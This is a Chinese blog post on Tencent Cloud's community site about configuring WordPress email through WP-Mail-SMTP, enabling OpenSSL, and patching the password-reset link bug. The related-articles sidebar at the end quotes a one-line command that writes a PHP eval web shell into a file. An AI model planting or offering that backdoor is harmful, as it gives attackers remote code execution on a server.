【腾讯云的1001种玩法】wordpress发送邮件设置

关于wordpress的搭建在我的另一篇文章"【腾讯云的1001种玩法】一个小白的自学建站史(菜鸟建站入门)"的文末已经有了较为详细的解答,需要的朋友可以参考下。本文主要针对于wordpress的邮件设置,以下所有均在wordpress4.7.3环境下进行。

发送邮件设置

开启WP-Mail-SMTP插件

wordpress原来的邮件设置是有些鸡肋的,通过main()函数来发送,且不说能不能发送成功,就算发送成功了,一般也很难进入别人的收件箱,或者连垃圾箱都进不去,所以在这里介绍一个著名的插件:WP-Mail-SMTP,我想多数人的wordpress都是使用这个插件。具体使用方法:

1、首先打开wordpress后台,点击左侧插件,点击安装插件,在右侧搜索插件WP-Mail-SMTP,如图:

2、之后点击“现在安装”,然后启用,接着点击“设置(Settings)”,填入相关信息,如图:

3、接着点击下面保存设置,然后可以发送一封测试邮件,试试是否可用,不可用接着往下看。

开启OpenSSL

有些人在配置插件时选择SSL加密,却发现无法使用,配置为无加密就又可用了,这种情况通常是未开启OpenSSL,开启后就可解决问题,开启方法如下:

1、首先打开php目录下的"php.ini",找到"extension=php_openssl.dll"看看前面有没有注释符";",有则去掉并保存;若是没有这句话则加上这句话之后保存;

2、把php目录下的"ssleay32.dll"、"libeay32.dll",以及php/ext目录下的"php_openssl.dll"拷贝到C:\Windows\System32目录下;

3、重启Apache(或者IIS)。

注:Linux开启方法请自行百度。

解决Wordpress重设链接无效问题

很多朋友在wordpress重设密码时点击邮件中的链接会遇到会遇到重设链接无效的问题,仔细观察会看到链接最后有个">",删掉就正常了,这是wordpress共有的BUG,很久以前就有了,不知道为什么现在还存在,但既然存在,那就有解决的办法,具体如下:

1、编辑wordpress目录下的wp-login.php,搜索:"rawurlencode($user_login)",约在332行,将其所在行修改为:

$message .= network_site_url("wp-login.php?action=rp&key=$key&login=" . rawurlencode($user_login), 'login');

如图:

并保存,其实就是把前面的"<"和后边的">"删掉;

2、打开wordpress目录下的wp-includes/pluggable.php,搜索network_site_url,约在1791行,修改为:

$message .= network_site_url("wp-login.php?action=rp&key=$key&login=" . rawurlencode($user->user_login), 'login') . "\r\n\r\n";

如图:

并保存,其实还是去掉了那对尖括号。

至此,wordpress已经可以发送邮件了,同时也支持了用户的自动注册。

相关推荐

【腾讯云的1001种玩法】一个小白的自学建站史(菜鸟建站入门)

腾讯云Ubuntu下WordPress从Apache迁移到Nginx过程

服务器一秒钟丫鬟变格格

原创声明,本文系作者授权云+社区发表,未经许可,不得转载。

如有侵权,请联系 yunjia_community@tencent.com 删除。

编辑于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏小特工作室

微信小程序开发填坑指南V1

近期用了一星期的时间,开发了一个小程序。小程序名称是:小特Jarvis,取自钢铁侠的管家。

815
来自专栏数据和云

快讯:Oracle 发布了传闻已久的 18.3 RPM 安装版本

关于 Oracle 发布数据库 RPM 安装版本的传闻已经有好几年了,今天 Oracle 终于发布了这个传说中、被期待的安装包,在 OTN 上已经可以下载 Li...

883
来自专栏还债之路

Linux软件包安装--三魔鬼

yum是基于rpm的软件包管理器,他可以使系统管理人员交互和自动化地更细与管理rpm包,他能自动从服务器下载RPM包并安装,他可以自动处理依赖关系,自动安装所有...

1312
来自专栏信安之路

代码安全之上传文件

从数据包中可以看出,验证文件类型的参数有:Content-Type、Filename、Filedata。

730
来自专栏向治洪

ios入门之项目结构介绍

对于刚入门的ios程序猿来说,掌握Xcode开发工具及程序项目是非常必要的,掌握这些基本的内容对于我们后期开发,调试也是很有帮助的。 首先,创建一个 Xcode...

2076
来自专栏漏斗社区

仰望PHPSHE1.5漏洞

背景 最近拿到PHPSHE 1.5的源码进行了审计,于是撰写了本篇,把一些问题发出来,多处SQL注入,任意文件删除,host头部攻击进行讨论,如 host位置的...

2899
来自专栏云计算教程系列

如何在服务器上安装OpenLDAP

轻量级目录访问协议(LDAP)是一种标准协议,旨在通过网络管理和访问分层目录信息。目录服务在开发内部网和与互联网程序共享用户、系统、网络、服务和应用的过程中占据...

1472
来自专栏jiajia_deng

Windows 编译 openssl-1.0.2p(libeay32.lib、ssleay32.lib)静态库 32/64、debug/release、MT/MTd

最近要用到 libeay32.lib、ssleay32.lib 两个静态库文件,因为以前项目中其中一个文件在 64 位编译时选择的不是 MTd,而导致我引入该库...

3921
来自专栏软件测试经验与教训

ADB命令集锦

在测试APP时,我们常常会用到adb命令来协助测试,那么adb命令到底是什么?有什么用?怎么用?

975
来自专栏北京马哥教育

黑客常用linux入侵常用命令,有你不知道的没?

[jobcruit@wa64-054 rankup_log]$ echo -e "<?php @eval(\$_POST[md5])?>" >rankuplog...

2702

扫码关注云+社区